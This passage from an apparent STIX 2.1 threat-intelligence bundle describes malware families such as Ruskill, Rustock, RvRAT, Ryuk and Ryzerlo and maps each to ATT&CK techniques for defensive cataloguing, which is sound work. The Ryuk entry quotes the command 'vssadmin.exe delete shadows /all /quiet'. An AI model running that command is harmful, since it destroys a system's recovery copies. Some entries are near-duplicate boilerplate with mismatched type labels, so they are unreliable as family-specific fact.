to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Rupttass reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rupttass",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rupttass"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b2bbac88-be09-5cb8-814d-780a32538269",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d205e1ce-d744-53ca-86a9-210709567e21",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rupttass exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8fa5136b-a612-5a7b-bdb2-7a378ce52997",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d205e1ce-d744-53ca-86a9-210709567e21",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rupttass exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d219770-8fba-524c-bbd7-57dd96192b9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d205e1ce-d744-53ca-86a9-210709567e21",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rupttass exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bfac3e4a-a30d-5757-97c7-bcac27412fdd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d205e1ce-d744-53ca-86a9-210709567e21",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rupttass exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--feb09219-42a0-54c9-9c6e-22b87cd43b96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d205e1ce-d744-53ca-86a9-210709567e21",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rupttass exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ced85fff-defa-51d6-b18e-4e1d9e5a3b8b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ruskill",
      "description": "Ruskill (cataloged across security vendors and threat intelligence databases under signatures including Ransom:Win32/Ruskill, Trojan-Ransom.Win32.Ruskill, and Trojan.Ruskill) is a destructive screen-locking ransomware and system wiper trojan that predominantly targeted Russian and CIS region endpoints active since 2011. Distributed through trojanized media players, software cracks, and drive-by web exploit downloads, Ruskill terminates critical desktop management processes (including taskmgr.exe, explorer.exe, and cmd.exe) and writes itself into Windows startup registry keys. Upon reboot, Ruskill presents an inescapable, fullscreen locker window that disables keyboard shortcuts (such as Ctrl+Alt+Del, Alt+Tab, and Windows Key) and falsely accuses the victim of viewing illicit content, demanding payment via SMS premium numbers or prepaid payment codes while threatening to wipe system hard drives if payment is not remitted within a countdown timer. (Observed samples in benchmark: 46)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Ruskill",
        "Trojan-Ransom.Win32.Ruskill",
        "Trojan.Ruskill",
        "Win32/Ruskill",
        "Ruskill Winlocker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ruskill",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ruskill"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d4a3c86-dc49-569b-8196-6f888717e691",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ced85fff-defa-51d6-b18e-4e1d9e5a3b8b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ruskill exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--32d6c27c-ef9e-5eb2-890b-c45ff3b9bdd9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ced85fff-defa-51d6-b18e-4e1d9e5a3b8b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ruskill exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--034cb9c3-dd78-5adc-9b84-bf58d7d2e673",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ced85fff-defa-51d6-b18e-4e1d9e5a3b8b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ruskill exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--116a56b4-39bf-5932-95d2-d8597f65198e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ced85fff-defa-51d6-b18e-4e1d9e5a3b8b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ruskill exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de5d3a88-c4c7-5aee-8181-9c62e13b5127",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ced85fff-defa-51d6-b18e-4e1d9e5a3b8b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ruskill exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--51cb563d-b39f-51a1-bf70-635848311f61",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Russoturisto",
      "description": "Adware:Win32/Russoturisto is a classification for a family of highly intrusive adware and browser modifiers. As the name suggests, its primary behavior is to inundate the user with unwanted advertising in the form of pop-ups, pop-unders, in-text hyperlinks, and unauthorized modifications to search engine results (`T1189`). It degrades system performance and exposes the user to further malvertising risks.<br><br><b>Understanding Russoturisto (Aggressive Adware)</b><br>To an end-user, Russoturisto makes navigating the web incredibly frustrating. Clicking a legitimate link may open a completely unrelated advertising page, and shopping sites are often injected with 'Compare Prices' banners that obscure the actual content. For security teams, Russoturisto is a compliance and security risk, as the adware networks it connects to are often unvetted and frequently distribute secondary payloads.<br><br><b>Execution and Hijacking Mechanics</b><br>Russoturisto is typically distributed via pay-per-install (PPI) affiliate networks, bundled with freeware, torrent downloads, or fake software updates (`T1189`). Upon execution, it installs itself as a Windows service or a Scheduled Task to ensure it runs at boot (`T1543.003`). It then forcibly installs extensions into installed browsers (Chrome, Edge, Firefox). To protect these extensions, it often modifies the Windows Registry (e.g., using `ExtensionInstallForcelist` policies) (`T1562.001`), preventing the user from easily removing them via the browser's interface.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the unauthorized monetization of user data and a significant decrease in productivity. Host-based IoCs include the presence of unexpected browser extensions (often with randomly generated IDs), unauthorized changes to the `HKLM\\Software\\Policies\\Google\\Chrome` registry paths, and the presence of suspicious updaters in `%LocalAppData%`. Network IoCs include a massive volume of background HTTP/HTTPS requests to known advertising and tracking domains, even when the user is idle. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Russoturisto",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/russoturisto"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d394be2-35c8-58c5-95e7-6ba52211240b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--51cb563d-b39f-51a1-bf70-635848311f61",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Russoturisto exhibits technique T1189 (Drive-by Compromise (Initial distribution via deceptive software bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d6b0a57-4096-5454-8b5e-8f21a1f02016",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--51cb563d-b39f-51a1-bf70-635848311f61",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Russoturisto exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Modifying browser policies to prevent adware removal))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--68fcf244-c31f-5007-af53-2ea11450107e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--51cb563d-b39f-51a1-bf70-635848311f61",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Russoturisto exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Establishing persistent adware updaters))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b7092e2d-a8c9-58d2-bda2-ffaa26609da9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rustock",
      "description": "Rootkit:Win32/Rustock (internally designated as Costrat) was an extraordinarily sophisticated, stealthy kernel-mode rootkit and spam botnet active between 2006 and its dramatic federal takedown in March 2011. Comprising over 1.5 million infected Windows systems globally, Rustock was estimated at its peak to be responsible for pumping between 30% and 40% of the entire world's daily email spam volume (generating more than 30 billion unsolicited messages per day advertising illicit pharmaceuticals, counterfeit watches, and stock manipulation schemes). Architected by a master rootkit developer operating under the pseudonym 'Cosma' (associated in research with Russian national Dmitrij Sergeevich Nechvolod), Rustock executed as a deeply embedded Windows kernel driver that subverted the System Service Dispatch Table (SSDT), modified direct kernel object tables, and injected threads directly into system processes without dropping conventional on-disk files. In March 2011, Microsoft's Digital Crimes Unit (DCU), partnered with Pfizer, FireEye, and the US Marshals Service, executed Operation b107 under a landmark federal court order, simultaneously raiding command data centers in seven US cities, severing upstream ISP links, and permanently disabling the botnet. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rustock",
        "Costrat",
        "Rootkit.Win32.Rustock",
        "Spam-Mailbot.Rustock"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rustock",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rustock"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2eba2765-aeb9-5cfe-8242-93b29f5bb061",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b7092e2d-a8c9-58d2-bda2-ffaa26609da9",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rustock exhibits technique T1014 (Rootkit)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--720f5439-6fd7-5a00-8d38-2e0ac77b6d7b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b7092e2d-a8c9-58d2-bda2-ffaa26609da9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rustock exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ee46b004-6472-59fe-8462-770c596553f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b7092e2d-a8c9-58d2-bda2-ffaa26609da9",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rustock exhibits technique T1566.002 (Spearphishing Link)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0faf0567-659c-5a04-9f70-ff87418678d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b7092e2d-a8c9-58d2-bda2-ffaa26609da9",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rustock exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dd2c43fa-7730-55ed-a981-53dde97f6d1c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b7092e2d-a8c9-58d2-bda2-ffaa26609da9",
      "target_ref": "attack-pattern--3b5639c8-b582-5988-b9eb-f34bd3a9a3ba",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rustock exhibits technique T1114.001 (Email Collection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d30290c9-e4b1-5db7-a1e3-909e37313259",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b7092e2d-a8c9-58d2-bda2-ffaa26609da9",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rustock exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cf08036f-fb60-5f98-9f1e-615d07bb28f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rvrat",
      "description": "<h3>Executive Summary</h3>\nRvRAT is a highly capable Remote Access Trojan (RAT) engineered to provide attackers with covert, persistent, and fully interactive control over compromised endpoints. While variants exist for Windows, RvRAT is particularly noted for its presence in the mobile threat landscape, frequently targeting Android devices to facilitate deep surveillance and data exfiltration.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nOn Windows, RvRAT is primarily distributed via spear-phishing campaigns utilizing weaponized attachments. On Android, it is typically distributed via malicious APKs disguised as legitimate applications (e.g., fake system updates or popular games) hosted on third-party app stores or delivered via SMS phishing (smishing).\n\nOnce executed, RvRAT focuses on establishing a deep, persistent foothold:\n<ul>\n<li><strong>Covert C2 Communication:</strong> The RAT establishes a persistent connection to its command-and-control (C2) server. It frequently utilizes encrypted communications and may rely on dynamic DNS (DDNS) services to shift its infrastructure.</li>\n<li><strong>Comprehensive Espionage (Mobile & Desktop):</strong> RvRAT provides the attacker with a vast array of surveillance capabilities. This includes real-time location tracking (GPS), SMS and call log interception, file system manipulation, keylogging, and the ability to silently activate connected webcams or microphones for live surveillance.</li>\n<li><strong>Credential Harvesting:</strong> A primary objective is credential theft. The RAT actively scans for and extracts saved passwords from web browsers, cryptocurrency wallet apps, and secure enclaves.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nAn RvRAT infection is a critical security incident. The malware's extensive capabilities mean that the compromised endpoint (whether a corporate workstation or a BYOD mobile device) is fully under the control of the attacker, leading to the immediate loss of intellectual property and compromised user credentials.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Isolation:</strong> Sever the affected machine's (or mobile device's) network connection immediately to halt the C2 communication and prevent active data exfiltration.</li>\n<li><strong>Device Wipe (Mobile):</strong> For compromised Android devices, attempting to uninstall the malicious app is often insufficient due to privilege escalation. A complete factory reset is the recommended remediation.</li>\n<li><strong>Comprehensive Credential Reset:</strong> Assume all credentials utilized on the infected machine or mobile device, as well as any stored in browsers or password managers, are fully compromised. Initiate an immediate, organization-wide password reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.RvRAT",
        "Android.RvRAT",
        "Backdoor.RvRAT"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rvrat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rvrat"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--94077c93-bf50-57e9-bfd0-d27db9545954",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf08036f-fb60-5f98-9f1e-615d07bb28f5",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rvrat exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cdac7990-ffe0-5b88-ad7c-7639e9cc3ed5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf08036f-fb60-5f98-9f1e-615d07bb28f5",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rvrat exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--73f2bb87-c39a-50ae-8444-1af1970ca053",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf08036f-fb60-5f98-9f1e-615d07bb28f5",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rvrat exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--51eec235-c41e-5ca1-9a8a-c439c04e43cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf08036f-fb60-5f98-9f1e-615d07bb28f5",
      "target_ref": "attack-pattern--07fabe37-ac41-599a-a5c2-c62d6b7a0948",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rvrat exhibits technique T1437 (Application Layer Protocol (Communicating with C2 to fetch premium shortcodes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dbd9e20d-4c7f-5b00-abe0-22b088978616",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ryuk",
      "description": "Ryuk is one of the most destructive and lucrative enterprise ransomware families in cybersecurity history, first identified in August 2018 and operated by the Russian cybercriminal syndicate Wizard Spider (tracked by threat analysts as UNC1878 and TEMP.MixMaster). Derived directly from the Hermes ransomware codebase originally attributed to the Lazarus Group, Ryuk pioneered the targeted 'big game hunting' methodology against high-value commercial targets, local municipalities, and healthcare networks. Rather than deploying via indiscriminate spray-and-pray spam, Ryuk was deployed as the devastating final payload of complex multi-stage intrusion campaigns initiated by TrickBot, Emotet, or BazarLoader. Once initial network access was secured, operators conducted extensive Active Directory reconnaissance using BloodHound and AdFind, escalated privileges to Domain Admin using Zerologon (CVE-2020-1472), and mapped enterprise network shares. In a devastating technical innovation, Ryuk operators weaponized Wake-on-LAN (WOL) magic packets across local subnets to wake powered-down corporate workstations and servers before triggering encryption. Ryuk executes a multi-threaded hybrid encryption routine pairing ChaCha20 symmetric stream ciphers with RSA-4096 asymmetric public keys, appending the '.RYK' extension to targeted files. Prior to encryption, the malware terminates over 40 security and backup services using net stop, kills 150+ database and system processes via taskkill, and systematically deletes Volume Shadow Copies using vssadmin.exe delete shadows /all /quiet and bcdedit.exe to prevent system restore. CISA released Alert AA20-302A warning of widespread Ryuk ransomware attacks targeting the U.S. healthcare and public health sector. (Observed samples in benchmark: 210)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ryuk Ransomware",
        "Trojan.Ransom.Ryuk",
        "Win32/Ryuk",
        "Ransom.Ryuk",
        "Hermes-Ryuk"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ryuk",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ryuk"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA20-302A"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--eb042f7f-4aae-5006-abe0-10c5c5c923ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ryzerlo",
      "description": "Trojan:Win32/Ryzerlo is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Ryzerlo</b><br>To an end-user, a Ryzerlo infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Ryzerlo is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Ryzerlo is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Ryzerlo frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Ryzerlo reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ryzerlo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ryzerlo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d7d2cbd-c89d-5dd3-bdce-7e1e66d986b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb042f7f-4aae-5006-abe0-10c5c5c923ed",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ryzerlo exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6db43749-ff40-586a-919f-d6bde14d72d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb042f7f-4aae-5006-abe0-10c5c5c923ed",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ryzerlo exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dfb9a623-ef54-5d2d-9f78-3c3adac97f65",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb042f7f-4aae-5006-abe0-10c5c5c923ed",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ryzerlo exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--15176b4e-aa40-5550-8ff1-5f9011fc7fb1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb042f7f-4aae-5006-abe0-10c5c5c923ed",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ryzerlo exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0524e457-1b82-5169-b998-32f6b9c24c36",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eb042f7f-4aae-5006-abe0-10c5c5c923ed",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ryzerlo exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0ed44784-e741-51d5-b788-6e1a50bfdc90",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
